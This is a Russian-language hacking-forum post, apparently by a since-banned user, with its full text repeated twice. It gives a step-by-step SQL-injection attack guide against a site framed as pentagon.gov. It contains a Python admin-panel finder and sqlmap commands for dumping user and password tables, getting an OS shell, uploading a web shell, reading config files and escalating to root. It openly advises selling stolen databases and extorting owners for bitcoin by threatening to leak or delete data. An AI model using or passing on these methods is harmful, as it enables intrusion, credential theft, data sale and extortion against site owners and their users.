Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Всем доброго времени суток!
Допустим мы имеем URL pentagon.gov/index.php?id=INJECT_HERE
и хотим раскрутить сайт на шелл или админа на бабки.
С чего начать? Смотрим какие техники поддерживаются.
Если есть Stacked Queries, то нужно копать в сторону заливки шелла.
Если же есть Union или Error-based иньекция, копаем в сторону доступа в админку или слива БД.
Ну а если неповезло и попались Time-based и Boolean-based нужно попробовать достать логин и пасс MySQL.
Теперь разберем методы эксплуатации по подробнее:
(С использованием всем известной тулзы)
1. Поиск админки
Для этого подойдет любая техника иньекций.
Прежде чем рыть бд нужно найти админку сайта.
Вот небольшой скрипт на python 2.7 для поиска таковой:
#!/usr/bin/python
#-*-coding:utf8;-*-
import requests
from urlparse import urlparse
admins = "admin.php,admin,administrator.php,administrator,cp.php,cp,login.php,login,panel.php,panel,moderator.php,moderator,admin.html,login.html,adminlogin.php,user.php,user,singin.php,gate.php,adminer.php"
print "~"*20
print "Admin Finder By AimZ"
print " "*20 + "~"*20
print "Special for Runion users"
print "~"*20
def load(url):
resp = requests.get(url)
text = resp.text.lower()
if resp.status_code == 200 and "page not found" not in text:
return url
def find(url):
global admins
found = []
if "htt" in url and "/" in url and "." in url:
url = str(url+" ").replace("/ ", "")
for link in admins.split(","):
loaded = load(url + "/" + link)
if loaded != None:
found.append(loaded)
return found
else:
print "Incorrect url!"
url = raw_input("Enter url: ")
print "#"*20
for i in find(url):
print "Found: " + i
Если админка найдена, смотрим бд сайта:
sqlmap -u ... --current-db
Затем смотрим таблицы бд:
sqlmap -u ... -D database_name --tables
(заменяем database_name на имя бд)
Ищем таблицы типа users, admin, members,webmaster и тд.
Далее смотрим содержание таблиц:
sqlmap -u ... -D database_name -T users,admin,members,etc. --columns
Если есть поля username и password,
можно сливать.
Так же смотрим на поля, которые могут указывать на админа
(Например registration_date, is_admin)
Мудрость: первый зарегистрированный юзер скорее всего админ.
Если есть знания синтаксиса MySQL можно порытся с помощью --sql-shell, если же нет, просто сливаем таблицу.
sqlmap -u ... -D database_name -T admin -C username, password,is_admin --dump --threads 3
В таблице смотрим на поле с паролем.
!!Даже если там будет 40 символьное месево,все равно попробуйте войти с ним, а вдруг это не хеш?
Если не входится, идем брутить.
Далее заходим в админку и делаем дела.
2. Заливка шелла
Сразу скажу - это будет не просто!
Для заливки шеллкода необходимы Stacked Queries.
Сначала пробуем с помощю --os-shell, лучше всего льет на PostgreSQL.
Так же эксперементируем с --no--cast, --hex и тп.
Если не получилось, создаем файл test.txt и пишем туда несколько символов
sqlmap -u ... --file-write=test.txt --file-dest=/tmp/file
На вопрос Do you want to confirm that the source and destination files are same? отвечаем Y. Если пишет files are the same, бинго! У нас есть права на запись. Далее просто ишем путь до сайта и льем полезный код. Прав на запись в папку сайта может не быть.
Если в тмп не льется, переходим к следующему способу.
Так же есть и другие способы доступа к фс сервера с помощю бд, но о них в следующий раз.
Если же мы получили доступ к командной строке, можно попробовать эксплойтить локал рут.
3. Слив бд на продажу
Ну тут думаю обьяснять ничего не нужно.
sqlmap -u ... --threads 10 -D db --dump -o
4. Поиск ценной информации
Можно так же поискать в базе ценную информацию. Там могут быть пароли фтп, ssh и других протоколов.
Так же можно поискать файлы конфига с помощю --file-read.
5. Можно, но не советую,)
Прикидываем материальное положение сайта, предполагаем сколько админ готов платить,все через общение с тех.поддержкой.
Сливаем бд, если в ней есть что то ценное, угрожаем выложить бд в паблик если на такой то биткоин кошелек не будет переведенно столько то BTC.
Так же можно угрожать удалить бд.
Удачи))
Допустим мы имеем URL pentagon.gov/index.php?id=INJECT_HERE
и хотим раскрутить сайт на шелл или админа на бабки.
С чего начать? Смотрим какие техники поддерживаются.
Если есть Stacked Queries, то нужно копать в сторону заливки шелла.
Если же есть Union или Error-based иньекция, копаем в сторону доступа в админку или слива БД.
Ну а если неповезло и попались Time-based и Boolean-based нужно попробовать достать логин и пасс MySQL.
Теперь разберем методы эксплуатации по подробнее:
(С использованием всем известной тулзы)
1. Поиск админки
Для этого подойдет любая техника иньекций.
Прежде чем рыть бд нужно найти админку сайта.
Вот небольшой скрипт на python 2.7 для поиска таковой:
#!/usr/bin/python
#-*-coding:utf8;-*-
import requests
from urlparse import urlparse
admins = "admin.php,admin,administrator.php,administrator,cp.php,cp,login.php,login,panel.php,panel,moderator.php,moderator,admin.html,login.html,adminlogin.php,user.php,user,singin.php,gate.php,adminer.php"
print "~"*20
print "Admin Finder By AimZ"
print " "*20 + "~"*20
print "Special for Runion users"
print "~"*20
def load(url):
resp = requests.get(url)
text = resp.text.lower()
if resp.status_code == 200 and "page not found" not in text:
return url
def find(url):
global admins
found = []
if "htt" in url and "/" in url and "." in url:
url = str(url+" ").replace("/ ", "")
for link in admins.split(","):
loaded = load(url + "/" + link)
if loaded != None:
found.append(loaded)
return found
else:
print "Incorrect url!"
url = raw_input("Enter url: ")
print "#"*20
for i in find(url):
print "Found: " + i
Если админка найдена, смотрим бд сайта:
sqlmap -u ... --current-db
Затем смотрим таблицы бд:
sqlmap -u ... -D database_name --tables
(заменяем database_name на имя бд)
Ищем таблицы типа users, admin, members,webmaster и тд.
Далее смотрим содержание таблиц:
sqlmap -u ... -D database_name -T users,admin,members,etc. --columns
Если есть поля username и password,
можно сливать.
Так же смотрим на поля, которые могут указывать на админа
(Например registration_date, is_admin)
Мудрость: первый зарегистрированный юзер скорее всего админ.
Если есть знания синтаксиса MySQL можно порытся с помощью --sql-shell, если же нет, просто сливаем таблицу.
sqlmap -u ... -D database_name -T admin -C username, password,is_admin --dump --threads 3
В таблице смотрим на поле с паролем.
!!Даже если там будет 40 символьное месево,все равно попробуйте войти с ним, а вдруг это не хеш?
Если не входится, идем брутить.
Далее заходим в админку и делаем дела.
2. Заливка шелла
Сразу скажу - это будет не просто!
Для заливки шеллкода необходимы Stacked Queries.
Сначала пробуем с помощю --os-shell, лучше всего льет на PostgreSQL.
Так же эксперементируем с --no--cast, --hex и тп.
Если не получилось, создаем файл test.txt и пишем туда несколько символов
sqlmap -u ... --file-write=test.txt --file-dest=/tmp/file
На вопрос Do you want to confirm that the source and destination files are same? отвечаем Y. Если пишет files are the same, бинго! У нас есть права на запись. Далее просто ишем путь до сайта и льем полезный код. Прав на запись в папку сайта может не быть.
Если в тмп не льется, переходим к следующему способу.
Так же есть и другие способы доступа к фс сервера с помощю бд, но о них в следующий раз.
Если же мы получили доступ к командной строке, можно попробовать эксплойтить локал рут.
3. Слив бд на продажу
Ну тут думаю обьяснять ничего не нужно.
sqlmap -u ... --threads 10 -D db --dump -o
4. Поиск ценной информации
Можно так же поискать в базе ценную информацию. Там могут быть пароли фтп, ssh и других протоколов.
Так же можно поискать файлы конфига с помощю --file-read.
5. Можно, но не советую,)
Прикидываем материальное положение сайта, предполагаем сколько админ готов платить,все через общение с тех.поддержкой.
Сливаем бд, если в ней есть что то ценное, угрожаем выложить бд в паблик если на такой то биткоин кошелек не будет переведенно столько то BTC.
Так же можно угрожать удалить бд.
Удачи))